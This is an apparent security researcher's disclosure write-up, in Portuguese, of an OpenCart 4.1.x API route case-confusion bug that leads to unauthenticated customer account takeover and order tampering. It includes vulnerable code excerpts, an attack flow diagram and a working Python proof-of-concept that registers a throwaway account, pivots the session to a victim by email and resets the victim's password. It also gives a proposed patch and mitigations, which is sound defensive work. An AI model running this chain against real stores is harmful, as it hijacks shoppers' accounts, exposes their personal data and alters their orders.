← ../ opencart-api-case-confusion
chu@antisec:~/research$ cat opencart-api-case-confusion.md
opencart 4.1.x — confusão de maiúsculas na rota da api → takeover de conta não autenticado & adulteração de pedidos
cvss v3.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — pré-auth, remoto, sem
interação do usuário. validado de ponta a ponta contra o 4.1.0.3 num lab em docker.
o opencart protege a api de catálogo com uma comparação de string sensível a maiúsculas no prefixo da rota (
api/), mas resolve os controladores sem essa distinção. peçaindex.php?route=Api/order&call=customerem vez da grafia em minúsculas e o guard nunca dispara — sem allow-list, sem assinatura hmac — enquanto exatamente o mesmo controlador carrega e roda.esse endpoint faz um login sem senha como qualquer cliente cujo e-mail você conheça (eles são enumeráveis). encadeie com o autorregistro aberto — que cunha um
customer_tokenválido que o login por override não reseta — e você pivota a sua sessão descartável para a conta da vítima e troca a senha dela. sem credenciais, sem interação do usuário. cvss 9.8, e sinceramente, faz jus.
impacto
o que um atacante leva- login não autenticado como qualquer clientesó o e-mail
- takeover completo da contaler pii, trocar senha + e-mail, sem senha atual
- adulteração de pedidos não autenticadaqualquer pedido, sem checagem de dono
- a api de catálogo inteira alcançável sem assinaturacart, order, subscription, affiliate, addresses
enumeração de e-mails é trivial numa loja com instalação padrão (erros de "already exists" no cadastro,
diferenças na
resposta do reset de senha), então isso escala de uma vítima escolhida a dedo para
comprometimento de contas em massa. adulterar pedidos é pior do que parece:
call=history_add pode virar qualquer pedido para complete/shipped, o que dispara baixa de
estoque, liberação de downloads digitais, comissões de afiliados e e-mails de notificação redigidos pelo
atacante para clientes reais. se você processa dados pessoais de titulares na eu/br, um atacante anônimo
lendo registros de clientes é um problema de gdpr/lgpd, não só uma entrada num bug tracker.
o que isso não é: o painel admin não está nessa cadeia. toda rota admin fora da allow-list de login exige
isLogged()+user_token, e não existe primitiva de login admin sem senha. também não encontrei sql injection pré-auth — então nada de rce vindo só desse bug. contas de clientes e pedidos apenas, o que já é bastante.
o bug
duas grafias, um controladortodo o perímetro da api é uma única comparação na pre-action startup/api, que roda em cada
requisição de catálogo. ela decide tudo — allow-list e enforcement de assinatura — a partir da
string de rota bruta, com as maiúsculas preservadas:
// only these two routes may use the api, and only with a valid signature
$allowed = ['api/order', 'api/subscription'];
// block direct access to every other api controller
if (substr($route, 0, 4) == 'api/' && !in_array($route, $allowed)) {
return new \Opencart\System\Engine\Action('startup/api.permission'); // 403
}
if (in_array($route, $allowed)) {
/* hmac request-signature validation (line 96) — skipped too, see below */
}
peça route=Api/customer e substr('Api/customer', 0, 4) retorna
'Api/' — que não é igual a 'api/'. o bloco nunca dispara, a
rota também não está na allow-list, então a checagem de assinatura é pulada junto, a pre-action retorna
null e a requisição segue para o dispatch. a mesma checagem sensível a maiúsculas existe no
startup/session.php, e é por isso que a requisição que passou pelo guard anda num cookie de
sessão normal.
enquanto isso, o router está perfeitamente disposto a carregar esse controlador. a factory constrói um
nome de classe a partir da rota e checa com o class_exists() — que não distingue maiúsculas
—, e o autoloader converte o caminho para minúsculas antes do include:
// factory.php — class name built from the route, checked case-insensitively
$class = 'Opencart\\' . $application . '\Controller\\'
. str_replace(['_','/'], ['','\\'], ucwords($route, '_/'));
if (class_exists($class)) { return new $class($this->registry); }
// autoloader.php — file path is forced to lower case before include
$file = $dir . trim(str_replace('\\','/', strtolower(...)), '/') . '.php';
então Api/customer vira Opencart\Catalog\Controller\Api\Customer, o autoloader
mapeia para catalog/controller/api/customer.php, e o php — cujos nomes de classe já são
insensíveis a maiúsculas por natureza — instancia. confirmei em runtime via reflection que o fqcn pedido
e o namespace como declarado nem batem no caso (Opencart\Catalog\… pedido vs
Opencart\catalog\… declarado no fonte) e o php resolve assim mesmo. o codebase vive
apoiado nessa tolerância desde sempre.
uma nuance que vale saber: nem toda grafia mista sobrevive à reescrita de
ucwords() + camelCase→snake no autoloader. grafias cujo segmento api tem uma
transição interna de minúscula→maiúscula são reescritas para um caminho que não existe:
| prefixo da rota | resultado (ao vivo, 4.1.0.3) |
|---|---|
api/ (minúsculas) | http 403 — guard ativo, assinatura obrigatória |
Api/ · API/ · aPi/ · aPI/ | http 200 — controlador alcançado, bypass |
apI/ · ApI/ | http 404 — classe/arquivo não resolvidos |
vetor canônico da poc: Api/. afetados: 4.1.0.0 – 4.1.0.3 e o
branch master (4.2.0.0-dev). o 4.0.x traz um guard mais antigo, baseado em
api_id, e não tem api/customer.php, então a cadeia de takeover não se aplica
lá; o 3.x é uma arquitetura completamente diferente.
api/order em minúsculas é bloqueado (à
esquerda); Api/order chega ao controlador (à direita).
api/order →
403 forbidden; Api/order → 200 ok sem assinatura.fluxo do ataque
registrar, pivotar, resetar attacker (no creds, no signature) opencart 4.1.0.3
│ │
│ POST /index.php?route=account/register ─────►│ open self-registration
│ ◄── customer_token (T) + own session ─────────│ T is valid, attacker-owned
│ │
│ POST /index.php?route=Api/order&call=customer ─►│ substr('Api/',0,4) != 'api/'
│ email=victim@example.com │ → no 403, no hmac check
│ │ → login($email, '', true)
│ ◄── 200 "successfully modified customers" ────│ session.customer_id = victim
│ │ T is NOT reset
│ POST /index.php?route=account/password.save&customer_token=T ─►
│ password=Pwned-1! │ no current password required
│ ◄── 200 "password updated" ───────────────────│
│ │
│ ⇒ log in as the victim. account taken over. │
três decisões do opencart se empilham aqui.
um — o login sem senha. o api/customer existe para ser chamado pela própria
camada de integração da loja, então ele simplesmente confia no e-mail que recebe:
// api/customer.php — 3rd arg = $override
$this->customer->login($post_info['email'], '', true);
// cart/customer.php — the password check is skipped when $override === true
if (!$override) { /* password_verify / sha1 / md5 ... */ }
$this->session->data['customer_id'] = $customer_query->row['customer_id']; // authenticated
na requisição seguinte o startup/customer rehidrata a sessão e o isLogged() é
true. parabéns, você agora é a vítima.
dois — o token que sobrevive a uma troca de identidade. o login por override define o
customer_id e nunca mexe no session.customer_token. as ações da área de conta
passam pelo account/login.validate, que só compara o customer_token na url com o
que está na sessão — e um token válido é cunhado por qualquer evento de auth, incluindo o autorregistro
aberto. ou seja, o token que você ganhou na sua conta descartável continua funcionando depois que a sessão
é pivotada para outra pessoa.
três — a troca de senha que não faz perguntas. dentro da área de conta, o
account/password.save chama editPassword() sem exigir a senha atual. é aí que
mora o takeover: troque a senha da vítima e, se quiser ficar com a conta depois que ela notar, troque o
e-mail também.
a adulteração de pedidos é um quarto presente, à parte: api/order&call=history_add
desagua no addHistory(), que busca o pedido apenas pelo id — o getOrder() no
model/checkout/order.php filtra por order_id sem nenhum escopo de cliente.
customer_token
válido para a conta do próprio atacante.
Api/order&call=customer com o e-mail da
vítima — sem senha, sem assinatura — retorna 200
{"success":"You have successfully modified customers"}. a sessão agora é da vítima, e o token
de (a) sobreviveu à troca.
account/password.save reutilizando esse mesmo
token → reset de senha sem a senha atual:
{"success":"Success: Your password has been successfully updated."}
poc
só em labprimeiro a checagem do guard: route=api/order&call=customer →
403; route=Api/order&call=customer → 200. depois a cadeia,
enxugada do script completo (poc_opencart_ato.py, que roteia toda requisição pelo burp por
padrão). rode apenas contra a sua própria instância.
#!/usr/bin/env python3
# poc_opencart_ato.py — opencart 4.1.x api route case-confusion -> account takeover
# affected: 4.1.0.0 - 4.1.0.3 (and master). authorized testing only.
import re, time, requests, urllib3
urllib3.disable_warnings()
def token(name, text):
m = re.search(name + r'=([a-f0-9]+)', text)
return m.group(1) if m else None
s = requests.Session() # one cookie jar, start to finish
attacker = f"attacker_{int(time.time())}@example.invalid"
# [1] register a throwaway account -> mints a valid customer_token (T)
rt = token("register_token", s.get(base, params={"route": "account/register"}).text)
r = s.post(base, params={"route": "account/register.register", "register_token": rt},
data={"firstname": "Mal", "lastname": "Lory", "email": attacker,
"password": "Attacker123!", "agree": "1"})
ct = token("customer_token", r.text)
print(f"[1] registered {attacker} -> customer_token={ct}")
# [2] the case confusion: Api/ skips the gate AND the signature check.
# password-less override login -> session pivots to the victim, T survives
r = s.post(base, params={"route": "Api/order", "call": "customer"},
data={"firstname": "x", "lastname": "y", "email": victim})
if '"success"' not in r.text:
sys.exit("[!] override login failed (patched?)")
print(f"[2] pivoted session to victim '{victim}'")
# [3] reset the victim's password with the attacker's token (no current pw)
r = s.post(base, params={"route": "account/password.save", "customer_token": ct},
data={"password": new_pw, "confirm": new_pw})
print(f"[3] victim password reset -> '{new_pw}'")
# [4] log in as the victim with the new password. account taken over.
resultado no lab no 4.1.0.3: o hash bcrypt da vítima mudou, e o login com a senha
definida pelo atacante funcionou como customer_id=1 — a vítima.
status da disclosure
a parte honesta- 2026-06-05descoberta & validação revisão do fonte, depois um lab em docker com o 4.1.0.3 no ar — cadeia completa reproduzida de ponta a ponta.
- 2026-06-06advisory escrito + patch proposto
o fix eu escrevi (
fix-opencart-api-case-confusion.patch); é uma proposta, não algo que o opencart tenha publicado. - pendenteghsa — rascunhado, não registrado o rascunho do advisory está pronto para seguir pelo canal privado de reporte do fornecedor. ainda não existe id de ghsa, então não há o que linkar aqui.
- pendenteresposta do fornecedor nada em arquivo. nada recebido, nada confirmado, nada negado.
- pendentecve
não atribuída — referenciada como
CVE-XXXX-XXXXXaté existir uma.
status, sem rodeio: sem cve, sem id de ghsa, sem resposta do fornecedor, sem release corrigida. o diff na próxima seção é meu. os detalhes weaponizados completos ficam nesta página limitados ao necessário para entender e defender, e a timeline aqui é atualizada no instante em que qualquer uma dessas coisas mudar.
fix & mitigações
proposto, não mergeadoo fix de raiz é chato de propósito: nunca tome uma decisão de segurança sobre uma string bruta com
maiúsculas preservadas que um resolvedor insensível a maiúsculas vai honrar logo em seguida. normalize a
rota (ou decida com base na classe do controlador resolvido), e aplique o mesmo no
startup/session.php:
--- a/upload/catalog/controller/startup/api.php
+++ b/upload/catalog/controller/startup/api.php
$allowed = ['api/order', 'api/subscription'];
+
+ // Normalise the route so the API restriction cannot be bypassed via case
+ // variation such as "Api/customer" (PHP resolution is case-insensitive).
+ $route = strtolower($route);
if (substr($route, 0, 4) == 'api/' && !in_array($route, $allowed)) {
return new \Opencart\System\Engine\Action('startup/api.permission');
}
--- a/upload/catalog/controller/startup/session.php
+++ b/upload/catalog/controller/startup/session.php
- if (... substr((string)$this->request->get['route'], 0, 4) == 'api/' ...) {
+ if (... substr(strtolower((string)$this->request->get['route']), 0, 4) == 'api/' ...) {
--- a/upload/system/library/cart/customer.php
+++ b/upload/system/library/cart/customer.php
$this->session->data['customer_id'] = $customer_query->row['customer_id'];
+
+ // Drop any pre-existing token so an identity change cannot inherit a
+ // token bound to a different account.
+ unset($this->session->data['customer_token']);
defesa em profundidade (para quem mantém)
- o
api/customernão deve fazer login por override fora de um contexto de sessão de api verificado. - regenere a sessão e resete o
customer_tokena cada troca de identidade — um token velho nunca pode seguir umcustomer_idtrocado. - o
account/password.savee oaccount/editdeveriam exigir a senha atual ou uma checagem step-up. - o
getOrder()/addHistory()da api deve escopar pedidos pelo cliente autenticado.
se você roda uma loja opencart 4.1.x hoje
- bloqueie, no web server ou no waf, qualquer requisição a
index.phpcujoroutebata com(?i)^api/mas não seja exatamenteapi/...em minúsculas. - desative o usuário da api de catálogo se você não usa ele ativamente.
- faça hunt para trás: logs de acesso com letras maiúsculas dentro do segmento
apida rota, trocas de senha/e-mail sem umaccount/login.loginantes, e inserts de histórico de pedido que não vieram do admin nem de uma chamada de api assinada.